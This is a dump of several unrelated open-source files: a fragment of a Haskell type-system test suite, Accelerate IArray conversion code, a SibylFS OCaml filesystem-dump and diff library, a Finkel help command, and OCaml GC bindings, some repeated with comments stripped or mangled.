(unpack $ supertype <> " -> " <> subtype)
[ testQuery
("let using Rational; x: " <>
supertype <>
" = " <>
val <>
"; y: " <>
subtype <>
" = x >-.Function match (z:? " <> subtype <> ") => z; _ => " <> altval <> "; end in y")
result
, testQuery
("let using Rational; x: " <>
supertype <>
" = " <>
val <>
"; y: " <>
subtype <>
" = check.Function @(" <>
subtype <> ") x >-.Function match Just z => z; Nothing => " <> altval <> "; end in y")
result
, testQuery
("let using Rational; x: " <>
supertype <>
" = " <> val <> "; y: " <> subtype <> " = coerce.Function @(" <> subtype <> ") x in y") $
if good
then result
else LRRunError
]
in testTree
"supertype"
[ testSupertype "Integer" "Integer" "3" "0" True
, testSupertype "Rational" "Integer" "3" "0" True
, testSupertype "Rational" "Integer" "7/2" "0" False
, testSupertype "Integer" "Rational" "3" "0" True
, testSupertype "Number" "Integer" "3" "0" True
, testSupertype "Number" "Integer" "7/2" "0" False
, testSupertype "Integer" "Number" "3" "0" True
, testSupertype "Number" "Rational" "3" "0" True
, testSupertype "Number" "Rational" "7/2" "0" True
, testSupertype "Rational" "Number" "7/2" "0" True
]
, let
testLiteral :: Int -> Bool -> Text -> TestTree
testLiteral len embedded val =
testTree
(unpack val)
[ testQuery ("literalLength.Debug " <> val) $ LRSuccess $ show len
, testQuery ("literalIsEmbedded.Debug " <> val) $ LRSuccess $ show embedded
]
in testTree
"literal"
[ testLiteral 1 True "\"\""
, testLiteral 2 True "\"A\""
, testLiteral 21 True "\"12345678901234567890\""
, testLiteral 31 True "\"123456789012345678901234567890\""
, testLiteral 32 False "\"1234567890123456789012345678901\""
, testLiteral 1 True "()"
, testLiteral 2 True "True"
, testLiteral 2 True "False"
, testLiteral 3 True "34"
, testLiteral 4 True "34.5"
, testLiteral 9 True "~34"
]
]
testShim :: Text -> String -> String -> TestTree
testShim query expectedType expectedShim =
testTree (unpack query) $
runTester defaultTester $ do
result <- tryExc $ testerLiftInterpreter $ parseValue query
liftIO $
case result of
FailureResult e -> assertFailure $ "expected success, found failure: " ++ show e
SuccessResult (MkSomeOf (MkPosShimWit t shim) _) -> do
assertEqual "type" expectedType $ unpack $ toText $ exprShow t
assertEqual "shim" expectedShim $ show shim
testShims :: TestTree
testShims =
testTree
"shim"
[ testShim "3" "Integer" "(join1 id)"
, testShim "negate.Integer" "Integer -> Integer" "(join1 (co (contra id (meet1 id)) (join1 id)))"
, testShim "negate.Integer 3" "Integer" "(join1 id)"
, expectFailBecause "ISSUE #63" $ testShim "id" "a -> a" "(join1 (co (contra id (meet1 id)) (join1 id)))"
, expectFailBecause "ISSUE #63" $ testShim "id 3" "Integer" "(join1 id)"
, expectFailBecause "ISSUE #63" $ testShim "fn x => x" "a -> a" "(join1 (co (contra id (meet1 id)) (join1 id)))"
, expectFailBecause "ISSUE #63" $ testShim "(fn x => x) 3" "Integer" "(join1 id)"
, expectFailBecause "ISSUE #63" $
testShim "fn x => 4" "Any -> Integer" "(join1 (co (contra id termf) (join1 id)))"
, testShim "(fn x => 4) 3" "Integer" "(join1 id)"
, expectFailBecause "ISSUE #63" $
testShim
"let rcount = match Nothing => 0; Just y => succ $ rcount y end in rcount"
"(rec c, Maybe c) -> Integer"
"(join1 id)"
, expectFailBecause "ISSUE #63" $
testShim
"let rcount : (rec a, Maybe a) -> Integer = match Nothing => 0; Just y => succ $ rcount y end in rcount"
"(rec a, Maybe a) -> Integer"
"(join1 id)"
]
testLanguage :: TestTree
testLanguage = localOption (mkTimeout 2000000) $ testTree "language" [testInfix, testNumbers, testShims, testQueries]
|
4c2d42361cabd99f99fe4e0bef3ed01cfeaa776575a078497af21edc765720fe | AccelerateHS/accelerate-io | IArray.hs | {-# LANGUAGE OverloadedStrings #-}
# LANGUAGE ScopedTypeVariables #
# LANGUAGE TypeApplications #
# LANGUAGE TypeFamilies #
-- |
-- Module : Data.Array.Accelerate.IO.Data.Array.IArray
Copyright : [ 2016 .. 2020 ] The Accelerate Team
-- License : BSD3
--
Maintainer : < >
-- Stability : experimental
Portability : non - portable ( GHC extensions )
--
Convert between immutable ' IArray 's and Accelerate ' Array 's .
--
module Data.Array.Accelerate.IO.Data.Array.IArray (
IxShapeRepr,
fromIArray,
toIArray,
) where
import Data.Array.Accelerate.Error
import Data.Array.Accelerate.Representation.Type
import Data.Array.Accelerate.Sugar.Array
import Data.Array.Accelerate.Sugar.Elt
import Data.Array.Accelerate.Sugar.Shape
import Data.Array.Accelerate.Type
import Data.Array.Accelerate.IO.Data.Array.Internal
import Data.Array.IArray ( IArray )
import qualified Data.Array.IArray as IArray
| /O(n)/. Convert an ' IArray ' to an Accelerate ' Array ' .
--
The index type of the ' IArray ' corresponds to the shape @sh@ of the
-- Accelerate 'Array' in the following way:
--
-- > DIM0 ~ ()
-- > DIM1 ~ Int
-- > DIM2 ~ (Int,Int)
-- > DIM3 ~ (Int,Int,Int)
--
-- ...and so forth.
--
# INLINE fromIArray #
fromIArray
:: (HasCallStack, IxShapeRepr (EltR ix) ~ EltR sh, IArray a e, IArray.Ix ix, Shape sh, Elt ix, Elt e)
=> a ix e
-> Array sh e
fromIArray iarr = fromFunction sh (\ix -> iarr IArray.! fromIxShapeRepr (offset lo' ix))
where
(lo,hi) = IArray.bounds iarr
lo' = toIxShapeRepr lo
hi' = toIxShapeRepr hi
sh = rangeToShape (lo', hi')
IArray does not necessarily start indexing from zero . Thus , we need to
add some offset to the Accelerate indices to map them onto the valid
index range of the IArray
--
offset :: forall sh. Shape sh => sh -> sh -> sh
offset ix0 ix = toElt $ go (eltR @sh) (fromElt ix0) (fromElt ix)
where
go :: TypeR ix -> ix -> ix -> ix
go TupRunit () () = ()
go (TupRpair tl tr) (l0, r0) (l,r) = (go tl l0 l, go tr r0 r)
go (TupRsingle (SingleScalarType (NumSingleType (IntegralNumType TypeInt{})))) i0 i = i0+i
go _ _ _ =
internalError "error in index offset"
| /O(n)/. Convert an Accelerate ' Array ' to an ' IArray ' .
--
-- See 'fromIArray' for a discussion on the expected shape types.
--
# INLINE toIArray #
toIArray
:: forall ix sh a e. (HasCallStack, IxShapeRepr (EltR ix) ~ EltR sh, IArray a e, IArray.Ix ix, Shape sh, Elt e, Elt ix)
^ if ' Just ' this as the index lower bound , otherwise the array is indexed from zero
-> Array sh e
-> a ix e
toIArray mix0 arr = IArray.array bnds0 [(offset ix, arr ! toIxShapeRepr ix) | ix <- IArray.range bnds]
where
(u,v) = shapeToRange (shape arr)
bnds@(lo,hi) = (fromIxShapeRepr u, fromIxShapeRepr v)
bnds0 = (offset lo, offset hi)
offset :: ix -> ix
offset ix =
case mix0 of
Nothing -> ix
Just ix0 -> offset' ix0 ix
offset' :: ix -> ix -> ix
offset' ix0 ix
= fromIxShapeRepr
. (toElt :: EltR sh -> sh)
$ go (eltR @sh) (fromElt (toIxShapeRepr ix0 :: sh)) (fromElt (toIxShapeRepr ix :: sh))
where
go :: TypeR sh' -> sh' -> sh' -> sh'
go TupRunit () () = ()
go (TupRpair tl tr) (l0,r0) (l,r) = (go tl l0 l, go tr r0 r)
go (TupRsingle (SingleScalarType (NumSingleType (IntegralNumType TypeInt{})))) i0 i = i0+i
go _ _ _ =
internalError "error in index offset"
| null | https://raw.githubusercontent.com/AccelerateHS/accelerate-io/9d72bfb041ee2c9ffdb844b479f082e8993767f8/accelerate-io-array/src/Data/Array/Accelerate/IO/Data/Array/IArray.hs | haskell | # LANGUAGE OverloadedStrings #
|
Module : Data.Array.Accelerate.IO.Data.Array.IArray
License : BSD3
Stability : experimental
Accelerate 'Array' in the following way:
> DIM0 ~ ()
> DIM1 ~ Int
> DIM2 ~ (Int,Int)
> DIM3 ~ (Int,Int,Int)
...and so forth.
See 'fromIArray' for a discussion on the expected shape types.
| # LANGUAGE ScopedTypeVariables #
# LANGUAGE TypeApplications #
# LANGUAGE TypeFamilies #
Copyright : [ 2016 .. 2020 ] The Accelerate Team
Maintainer : < >
Portability : non - portable ( GHC extensions )
Convert between immutable ' IArray 's and Accelerate ' Array 's .
module Data.Array.Accelerate.IO.Data.Array.IArray (
IxShapeRepr,
fromIArray,
toIArray,
) where
import Data.Array.Accelerate.Error
import Data.Array.Accelerate.Representation.Type
import Data.Array.Accelerate.Sugar.Array
import Data.Array.Accelerate.Sugar.Elt
import Data.Array.Accelerate.Sugar.Shape
import Data.Array.Accelerate.Type
import Data.Array.Accelerate.IO.Data.Array.Internal
import Data.Array.IArray ( IArray )
import qualified Data.Array.IArray as IArray
| /O(n)/. Convert an ' IArray ' to an Accelerate ' Array ' .
The index type of the ' IArray ' corresponds to the shape @sh@ of the
# INLINE fromIArray #
fromIArray
:: (HasCallStack, IxShapeRepr (EltR ix) ~ EltR sh, IArray a e, IArray.Ix ix, Shape sh, Elt ix, Elt e)
=> a ix e
-> Array sh e
fromIArray iarr = fromFunction sh (\ix -> iarr IArray.! fromIxShapeRepr (offset lo' ix))
where
(lo,hi) = IArray.bounds iarr
lo' = toIxShapeRepr lo
hi' = toIxShapeRepr hi
sh = rangeToShape (lo', hi')
IArray does not necessarily start indexing from zero . Thus , we need to
add some offset to the Accelerate indices to map them onto the valid
index range of the IArray
offset :: forall sh. Shape sh => sh -> sh -> sh
offset ix0 ix = toElt $ go (eltR @sh) (fromElt ix0) (fromElt ix)
where
go :: TypeR ix -> ix -> ix -> ix
go TupRunit () () = ()
go (TupRpair tl tr) (l0, r0) (l,r) = (go tl l0 l, go tr r0 r)
go (TupRsingle (SingleScalarType (NumSingleType (IntegralNumType TypeInt{})))) i0 i = i0+i
go _ _ _ =
internalError "error in index offset"
| /O(n)/. Convert an Accelerate ' Array ' to an ' IArray ' .
# INLINE toIArray #
toIArray
:: forall ix sh a e. (HasCallStack, IxShapeRepr (EltR ix) ~ EltR sh, IArray a e, IArray.Ix ix, Shape sh, Elt e, Elt ix)
^ if ' Just ' this as the index lower bound , otherwise the array is indexed from zero
-> Array sh e
-> a ix e
toIArray mix0 arr = IArray.array bnds0 [(offset ix, arr ! toIxShapeRepr ix) | ix <- IArray.range bnds]
where
(u,v) = shapeToRange (shape arr)
bnds@(lo,hi) = (fromIxShapeRepr u, fromIxShapeRepr v)
bnds0 = (offset lo, offset hi)
offset :: ix -> ix
offset ix =
case mix0 of
Nothing -> ix
Just ix0 -> offset' ix0 ix
offset' :: ix -> ix -> ix
offset' ix0 ix
= fromIxShapeRepr
. (toElt :: EltR sh -> sh)
$ go (eltR @sh) (fromElt (toIxShapeRepr ix0 :: sh)) (fromElt (toIxShapeRepr ix :: sh))
where
go :: TypeR sh' -> sh' -> sh' -> sh'
go TupRunit () () = ()
go (TupRpair tl tr) (l0,r0) (l,r) = (go tl l0 l, go tr r0 r)
go (TupRsingle (SingleScalarType (NumSingleType (IntegralNumType TypeInt{})))) i0 i = i0+i
go _ _ _ =
internalError "error in index offset"
|
4babae218892f52fee176913be36c8936b33756f05f4f455960b94fb1bbe2a7d | sibylfs/sibylfs_src | dump.ml | (****************************************************************************)
Copyright ( c ) 2013 , 2014 , 2015 , , , ,
( as part of the SibylFS project )
(* *)
(* Permission to use, copy, modify, and/or distribute this software for *)
(* any purpose with or without fee is hereby granted, provided that the *)
(* above copyright notice and this permission notice appear in all *)
(* copies. *)
(* *)
THE SOFTWARE IS PROVIDED " AS IS " AND THE AUTHOR DISCLAIMS ALL
(* WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED *)
(* WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE *)
(* AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL *)
(* DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR *)
PROFITS , WHETHER IN AN ACTION OF CONTRACT , NEGLIGENCE OR OTHER
TORTIOUS ACTION , ARISING OUT OF OR IN CONNECTION WITH THE USE OR
(* PERFORMANCE OF THIS SOFTWARE. *)
(* *)
Meta :
(* - Headers maintained using headache. *)
(* - License source: *)
(****************************************************************************)
(* Dump *)
(* *)
(* This library is concerned with creating dumps of the current fs-state *)
open Sexplib.Std
open Printf
open Diff
module Types = Fs_interface.Fs_spec_intf.Fs_types
module Printer = Fs_interface.Fs_printer_intf
(* basic types *)
include Fs_interface.Fs_dump_intf
type dump_error = Unix_error of error | Unknown of string
exception Dump_error of dump_error
(* Difference types *)
type d_file = {
d_files : file * file;
d_file_path : string diff;
d_file_size : int diff;
d_file_sha : string diff;
} with sexp
type d_dir = {
d_dirs : dir * dir;
d_dir_path : string diff;
} with sexp
type d_symlink = {
d_links : symlink * symlink;
d_link_path : string diff;
d_link_val : string diff;
} with sexp
type d_error = {
d_errors : error * error;
d_error : Types.error diff;
d_error_call : string diff;
d_error_path : string diff;
} with sexp
type deviant =
| DDE_file of d_file
| DDE_dir of d_dir
| DDE_symlink of d_symlink
| DDE_error of d_error
with sexp
type d_entry =
| DDE_missing of entry
| DDE_unexpected of entry
| DDE_deviant of deviant
| DDE_type_error of entry diff
with sexp
type d_t =
| D_path of string diff
| D_t of d_entry list
with sexp
(* --------------------------------- *)
(* operations on basic types *)
(* --------------------------------- *)
let entry_to_csv_record = function
| DE_file { file_path; file_node; file_size; file_sha } ->
sprintf "%S|F|%d|%d|%S\n" file_path file_node file_size file_sha
| DE_dir { dir_path; dir_node } ->
sprintf "%S|D|%d\n" dir_path dir_node
| DE_symlink { link_path; link_val } ->
sprintf "%S|L|%S\n" link_path link_val
| DE_error (err, call, path) ->
sprintf "%S|!|%S|%s\n" path call (Printer.string_of_error err)
(* convert to csv data *)
let to_csv_strings des = List.(rev (rev_map entry_to_csv_record des))
let is_d_entry_zero = function
| DDE_deviant (
DDE_file { d_file_path = None; d_file_size = None; d_file_sha = None }
| DDE_dir { d_dir_path = None }
| DDE_symlink { d_link_path = None; d_link_val = None }
| DDE_error { d_error = None; d_error_call = None; d_error_path = None }
)
| DDE_type_error None -> true
| DDE_type_error (Some _)
| DDE_deviant _
| DDE_missing _
| DDE_unexpected _ -> false
let entries_of_deviant = function
| DDE_file { d_files = (f1,f2) } -> DE_file f1, DE_file f2
| DDE_dir { d_dirs = (d1,d2) } -> DE_dir d1, DE_dir d2
| DDE_symlink { d_links = (l1,l2) } -> DE_symlink l1, DE_symlink l2
| DDE_error { d_errors = (e1,e2) } -> DE_error e1, DE_error e2
let deviance e1 e2 = match e1, e2 with
| (DE_file ({ file_path = p1; file_size = fs1; file_sha = sha1} as f1),
DE_file ({ file_path = p2; file_size = fs2; file_sha = sha2} as f2)) ->
DDE_deviant (DDE_file {
d_files = (f1,f2);
d_file_path = diff p1 p2;
d_file_size = diff fs1 fs2;
d_file_sha = diff sha1 sha2;
})
| (DE_dir ({ dir_path = p1 } as d1), DE_dir ({ dir_path = p2 } as d2)) ->
DDE_deviant (DDE_dir { d_dirs = (d1,d2); d_dir_path = diff p1 p2 })
| (DE_symlink ({ link_path = p1; link_val = c1 } as l1),
DE_symlink ({ link_path = p2; link_val = c2 } as l2)) ->
DDE_deviant (DDE_symlink {
d_links = (l1,l2);
d_link_path = diff p1 p2;
d_link_val = diff c1 c2;
})
| (DE_error ((error, call, path) as e1)),
(DE_error ((error',call',path') as e2)) ->
DDE_deviant (DDE_error {
d_errors = (e1,e2);
d_error = diff error error';
d_error_call = diff call call';
d_error_path = diff path path';
})
| de1, de2 -> DDE_type_error (Some (de1, de2))
let diff_dump_entries des des_spec =
get the paths / entries that are present in both , or
in only one
in only one *)
let cmp de1 de2 = String.compare (path de1) (path de2) in
let only_des, both, only_des_spec = inter_diff cmp des des_spec in
let errors1 = List.map (fun e -> DDE_unexpected e) only_des in
let errors2 = List.map (fun e -> DDE_missing e) only_des_spec in
let errors3 = List.fold_right (fun (e1, e2) lst ->
let dev = deviance e1 e2 in
if is_d_entry_zero dev then lst else dev::lst
) both [] in
let errors = errors1 @ errors2 @ errors3 in
if (List.length errors > 0) then Some (D_t errors) else None
let diff (p1, dump1) (p2, dump2) =
if p1 <> p2
then Some (D_path (diff p1 p2))
else diff_dump_entries dump1 dump2
let string_of_d_entry = function
| DDE_missing entry -> sprintf "missing entry: %s\n" (path entry)
| DDE_unexpected entry -> sprintf "unexpected entry: %s\n" (path entry)
| DDE_deviant dev ->
let e1, e2 = entries_of_deviant dev in
sprintf "differing entry: %s\n" (path e1)
| DDE_type_error None -> "\n"
| DDE_type_error (Some (e1, _)) -> sprintf "differing entry: %s\n" (path e1)
let string_of_d_t = function
| D_path _ -> "comparing dumps of different directories"
| D_t d_entries -> "\n comparison of dump-results failed:\n "
^(String.concat " " (List.map string_of_d_entry d_entries))
(* --------------------------------- *)
(* creating dumps *)
(* --------------------------------- *)
(* The module type [dump_fs_operations] abstacts the operations
needed to greate a dump of a fs *)
module type Dump_fs_operations = sig
type state
type dir_status
val ls_path : state -> Fs_path.t -> string list
val kind_of_path : state -> Fs_path.t -> Unix.file_kind
val sha1_of_path : state -> Fs_path.t -> (int * string)
val readlink : state -> Fs_path.t -> string
val inode_of_file_path : state -> Fs_path.t -> int
val inode_of_dir_path : state -> Fs_path.t -> int
val enter_dir : state -> Fs_path.t -> dir_status
val leave_dir : state -> Fs_path.t -> dir_status -> unit
end
module Make(DO : Dump_fs_operations) = struct
(* [find_of_path state path] returns the files and directories in a dir *)
let find_of_path s0 p =
let xs = List.map (fun n -> Fs_path.concat p [n]) (DO.ls_path s0 p) in
List.partition (fun p -> DO.kind_of_path s0 p <> Unix.S_DIR) xs
let entry_of_path (s : DO.state) path =
let path_s = Fs_path.to_string path in
try
let k = DO.kind_of_path s path in
match k with
| Unix.S_REG ->
let file_size, file_sha = DO.sha1_of_path s path in
DE_file {
file_path = path_s;
file_node = DO.inode_of_file_path s path;
file_size; file_sha;
}
| Unix.S_DIR -> DE_dir {
dir_path = path_s; dir_node = DO.inode_of_dir_path s path;
}
| Unix.S_LNK -> DE_symlink {
link_path = path_s; link_val = DO.readlink s path;
}
| _ -> failwith ("Dump_fs(DO).entry_of_path unhandled kind: " ^ path_s)
with
| (Dump_error (Unknown msg)) as e -> raise e
| Dump_error (Unix_error e) -> DE_error e
| e ->
let exc = Printexc.to_string e in
let bt = Printexc.get_backtrace () in
let msg = Printf.sprintf "unknown error for %s:\n%s\nBacktrace:\n%s"
path_s exc bt
in
raise (Dump_error (Unknown msg))
let rec entries_of_path (s : DO.state) (path : Fs_path.t) : entry list =
try
let path_status = DO.enter_dir s path in
let fs, sub_dirs = find_of_path s path in
let des_direct = List.rev_map (entry_of_path s) (path :: fs) in
let des_sub = List.flatten (List.map (entries_of_path s) sub_dirs) in
DO.leave_dir s path path_status;
List.rev_append des_direct des_sub
with Dump_error (Unix_error e) -> [DE_error e]
let of_path (s : DO.state) (path_s : string) : t =
try entries_of_path s (Fs_path.of_string path_s)
with
| e ->
let exc = Printexc.to_string e in
raise (Dump_error (Unknown ("Error: error while dumping fs-state: "^exc)))
end
| null | https://raw.githubusercontent.com/sibylfs/sibylfs_src/30675bc3b91e73f7133d0c30f18857bb1f4df8fa/fs_test/lib/dump.ml | ocaml | **************************************************************************
Permission to use, copy, modify, and/or distribute this software for
any purpose with or without fee is hereby granted, provided that the
above copyright notice and this permission notice appear in all
copies.
WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
PERFORMANCE OF THIS SOFTWARE.
- Headers maintained using headache.
- License source:
**************************************************************************
Dump
This library is concerned with creating dumps of the current fs-state
basic types
Difference types
---------------------------------
operations on basic types
---------------------------------
convert to csv data
---------------------------------
creating dumps
---------------------------------
The module type [dump_fs_operations] abstacts the operations
needed to greate a dump of a fs
[find_of_path state path] returns the files and directories in a dir | Copyright ( c ) 2013 , 2014 , 2015 , , , ,
( as part of the SibylFS project )
THE SOFTWARE IS PROVIDED " AS IS " AND THE AUTHOR DISCLAIMS ALL
PROFITS , WHETHER IN AN ACTION OF CONTRACT , NEGLIGENCE OR OTHER
TORTIOUS ACTION , ARISING OUT OF OR IN CONNECTION WITH THE USE OR
Meta :
open Sexplib.Std
open Printf
open Diff
module Types = Fs_interface.Fs_spec_intf.Fs_types
module Printer = Fs_interface.Fs_printer_intf
include Fs_interface.Fs_dump_intf
type dump_error = Unix_error of error | Unknown of string
exception Dump_error of dump_error
type d_file = {
d_files : file * file;
d_file_path : string diff;
d_file_size : int diff;
d_file_sha : string diff;
} with sexp
type d_dir = {
d_dirs : dir * dir;
d_dir_path : string diff;
} with sexp
type d_symlink = {
d_links : symlink * symlink;
d_link_path : string diff;
d_link_val : string diff;
} with sexp
type d_error = {
d_errors : error * error;
d_error : Types.error diff;
d_error_call : string diff;
d_error_path : string diff;
} with sexp
type deviant =
| DDE_file of d_file
| DDE_dir of d_dir
| DDE_symlink of d_symlink
| DDE_error of d_error
with sexp
type d_entry =
| DDE_missing of entry
| DDE_unexpected of entry
| DDE_deviant of deviant
| DDE_type_error of entry diff
with sexp
type d_t =
| D_path of string diff
| D_t of d_entry list
with sexp
let entry_to_csv_record = function
| DE_file { file_path; file_node; file_size; file_sha } ->
sprintf "%S|F|%d|%d|%S\n" file_path file_node file_size file_sha
| DE_dir { dir_path; dir_node } ->
sprintf "%S|D|%d\n" dir_path dir_node
| DE_symlink { link_path; link_val } ->
sprintf "%S|L|%S\n" link_path link_val
| DE_error (err, call, path) ->
sprintf "%S|!|%S|%s\n" path call (Printer.string_of_error err)
let to_csv_strings des = List.(rev (rev_map entry_to_csv_record des))
let is_d_entry_zero = function
| DDE_deviant (
DDE_file { d_file_path = None; d_file_size = None; d_file_sha = None }
| DDE_dir { d_dir_path = None }
| DDE_symlink { d_link_path = None; d_link_val = None }
| DDE_error { d_error = None; d_error_call = None; d_error_path = None }
)
| DDE_type_error None -> true
| DDE_type_error (Some _)
| DDE_deviant _
| DDE_missing _
| DDE_unexpected _ -> false
let entries_of_deviant = function
| DDE_file { d_files = (f1,f2) } -> DE_file f1, DE_file f2
| DDE_dir { d_dirs = (d1,d2) } -> DE_dir d1, DE_dir d2
| DDE_symlink { d_links = (l1,l2) } -> DE_symlink l1, DE_symlink l2
| DDE_error { d_errors = (e1,e2) } -> DE_error e1, DE_error e2
let deviance e1 e2 = match e1, e2 with
| (DE_file ({ file_path = p1; file_size = fs1; file_sha = sha1} as f1),
DE_file ({ file_path = p2; file_size = fs2; file_sha = sha2} as f2)) ->
DDE_deviant (DDE_file {
d_files = (f1,f2);
d_file_path = diff p1 p2;
d_file_size = diff fs1 fs2;
d_file_sha = diff sha1 sha2;
})
| (DE_dir ({ dir_path = p1 } as d1), DE_dir ({ dir_path = p2 } as d2)) ->
DDE_deviant (DDE_dir { d_dirs = (d1,d2); d_dir_path = diff p1 p2 })
| (DE_symlink ({ link_path = p1; link_val = c1 } as l1),
DE_symlink ({ link_path = p2; link_val = c2 } as l2)) ->
DDE_deviant (DDE_symlink {
d_links = (l1,l2);
d_link_path = diff p1 p2;
d_link_val = diff c1 c2;
})
| (DE_error ((error, call, path) as e1)),
(DE_error ((error',call',path') as e2)) ->
DDE_deviant (DDE_error {
d_errors = (e1,e2);
d_error = diff error error';
d_error_call = diff call call';
d_error_path = diff path path';
})
| de1, de2 -> DDE_type_error (Some (de1, de2))
let diff_dump_entries des des_spec =
get the paths / entries that are present in both , or
in only one
in only one *)
let cmp de1 de2 = String.compare (path de1) (path de2) in
let only_des, both, only_des_spec = inter_diff cmp des des_spec in
let errors1 = List.map (fun e -> DDE_unexpected e) only_des in
let errors2 = List.map (fun e -> DDE_missing e) only_des_spec in
let errors3 = List.fold_right (fun (e1, e2) lst ->
let dev = deviance e1 e2 in
if is_d_entry_zero dev then lst else dev::lst
) both [] in
let errors = errors1 @ errors2 @ errors3 in
if (List.length errors > 0) then Some (D_t errors) else None
let diff (p1, dump1) (p2, dump2) =
if p1 <> p2
then Some (D_path (diff p1 p2))
else diff_dump_entries dump1 dump2
let string_of_d_entry = function
| DDE_missing entry -> sprintf "missing entry: %s\n" (path entry)
| DDE_unexpected entry -> sprintf "unexpected entry: %s\n" (path entry)
| DDE_deviant dev ->
let e1, e2 = entries_of_deviant dev in
sprintf "differing entry: %s\n" (path e1)
| DDE_type_error None -> "\n"
| DDE_type_error (Some (e1, _)) -> sprintf "differing entry: %s\n" (path e1)
let string_of_d_t = function
| D_path _ -> "comparing dumps of different directories"
| D_t d_entries -> "\n comparison of dump-results failed:\n "
^(String.concat " " (List.map string_of_d_entry d_entries))
module type Dump_fs_operations = sig
type state
type dir_status
val ls_path : state -> Fs_path.t -> string list
val kind_of_path : state -> Fs_path.t -> Unix.file_kind
val sha1_of_path : state -> Fs_path.t -> (int * string)
val readlink : state -> Fs_path.t -> string
val inode_of_file_path : state -> Fs_path.t -> int
val inode_of_dir_path : state -> Fs_path.t -> int
val enter_dir : state -> Fs_path.t -> dir_status
val leave_dir : state -> Fs_path.t -> dir_status -> unit
end
module Make(DO : Dump_fs_operations) = struct
let find_of_path s0 p =
let xs = List.map (fun n -> Fs_path.concat p [n]) (DO.ls_path s0 p) in
List.partition (fun p -> DO.kind_of_path s0 p <> Unix.S_DIR) xs
let entry_of_path (s : DO.state) path =
let path_s = Fs_path.to_string path in
try
let k = DO.kind_of_path s path in
match k with
| Unix.S_REG ->
let file_size, file_sha = DO.sha1_of_path s path in
DE_file {
file_path = path_s;
file_node = DO.inode_of_file_path s path;
file_size; file_sha;
}
| Unix.S_DIR -> DE_dir {
dir_path = path_s; dir_node = DO.inode_of_dir_path s path;
}
| Unix.S_LNK -> DE_symlink {
link_path = path_s; link_val = DO.readlink s path;
}
| _ -> failwith ("Dump_fs(DO).entry_of_path unhandled kind: " ^ path_s)
with
| (Dump_error (Unknown msg)) as e -> raise e
| Dump_error (Unix_error e) -> DE_error e
| e ->
let exc = Printexc.to_string e in
let bt = Printexc.get_backtrace () in
let msg = Printf.sprintf "unknown error for %s:\n%s\nBacktrace:\n%s"
path_s exc bt
in
raise (Dump_error (Unknown msg))
let rec entries_of_path (s : DO.state) (path : Fs_path.t) : entry list =
try
let path_status = DO.enter_dir s path in
let fs, sub_dirs = find_of_path s path in
let des_direct = List.rev_map (entry_of_path s) (path :: fs) in
let des_sub = List.flatten (List.map (entries_of_path s) sub_dirs) in
DO.leave_dir s path path_status;
List.rev_append des_direct des_sub
with Dump_error (Unix_error e) -> [DE_error e]
let of_path (s : DO.state) (path_s : string) : t =
try entries_of_path s (Fs_path.of_string path_s)
with
| e ->
let exc = Printexc.to_string e in
raise (Dump_error (Unknown ("Error: error while dumping fs-state: "^exc)))
end
|
1e3de522e449a9d8b3b0ffae763fdc4809ac499ab44ebc0eae605e4d3d51cef4 | finkel-lang/finkel | Help.hs | ;;; -*- mode: finkel -*-
;;; Help utility for Finkel tool.
(:require Finkel.Core)
(defmodule Finkel.Tool.Command.Help
(export
;; Help command
helpMain
show-usage)
(import
;; base
(Control.Monad.IO.Class [(MonadIO ..)])
(Data.Foldable [maximumBy])
(Data.Function [on])
(System.Environment [getProgName])
;; Internal
(Finkel.Tool.Internal.CLI)))
(defn (:: helpMain (=> (CLI m) (-> [Command] [String] (m ()))))
"Main function for help command."
[cmds args]
(case args
(: name _ ) (| ((<- (Just cmd) (find-command cmds name))
(liftIO (cmd-act cmd ["--help"]))))
_ (show-usage cmds)))
(defn (:: show-usage (=> (CLI m) (-> [Command] (m ()))))
"Show usage message generated from given commands."
[cmds]
(lefn [(max-len
(length (maximumBy (on compare length) (fmap cmd-name cmds))))
(pad [n str]
(++ str (replicate (- n (length str)) #'\SP)))
(descr [n cmd]
(concat [" " (pad n (cmd-name cmd))
" " (cmd-descr cmd)]))]
(do (<- name (liftIO getProgName))
(putString
(unlines
(++ [(concat ["USAGE:\n\n " name " <command> [arguments]"])
""
(concat ["Run \"" name " help <command>\""
" for more information."])
""
"COMMANDS:"
""]
(fmap (descr max-len) cmds)))))))
| null | https://raw.githubusercontent.com/finkel-lang/finkel/74ce4bb779805ad2b141098e29c633523318fa3e/finkel-tool/src/Finkel/Tool/Command/Help.hs | haskell | ;;; -*- mode: finkel -*-
;;; Help utility for Finkel tool.
(:require Finkel.Core)
(defmodule Finkel.Tool.Command.Help
(export
;; Help command
helpMain
show-usage)
(import
;; base
(Control.Monad.IO.Class [(MonadIO ..)])
(Data.Foldable [maximumBy])
(Data.Function [on])
(System.Environment [getProgName])
;; Internal
(Finkel.Tool.Internal.CLI)))
(defn (:: helpMain (=> (CLI m) (-> [Command] [String] (m ()))))
"Main function for help command."
[cmds args]
(case args
(: name _ ) (| ((<- (Just cmd) (find-command cmds name))
(liftIO (cmd-act cmd ["--help"]))))
_ (show-usage cmds)))
(defn (:: show-usage (=> (CLI m) (-> [Command] (m ()))))
"Show usage message generated from given commands."
[cmds]
(lefn [(max-len
(length (maximumBy (on compare length) (fmap cmd-name cmds))))
(pad [n str]
(++ str (replicate (- n (length str)) #'\SP)))
(descr [n cmd]
(concat [" " (pad n (cmd-name cmd))
" " (cmd-descr cmd)]))]
(do (<- name (liftIO getProgName))
(putString
(unlines
(++ [(concat ["USAGE:\n\n " name " <command> [arguments]"])
""
(concat ["Run \"" name " help <command>\""
" for more information."])
""
"COMMANDS:"
""]
(fmap (descr max-len) cmds)))))))
| |
520b8741ab543d86de1719c47c426de4486c103ea1d174fdc1f568ea92f3b608 | stevenvar/OMicroB | gc.ml | external run : unit -> unit = "caml_gc_run"
(** Manually run the garbage collector *)
external collections : unit -> int = "caml_gc_collections"
(** Return the number of collection run since the program starts *)
external live_words : unit -> int = "caml_gc_live_words"
* Return the current number of word used in the heap .
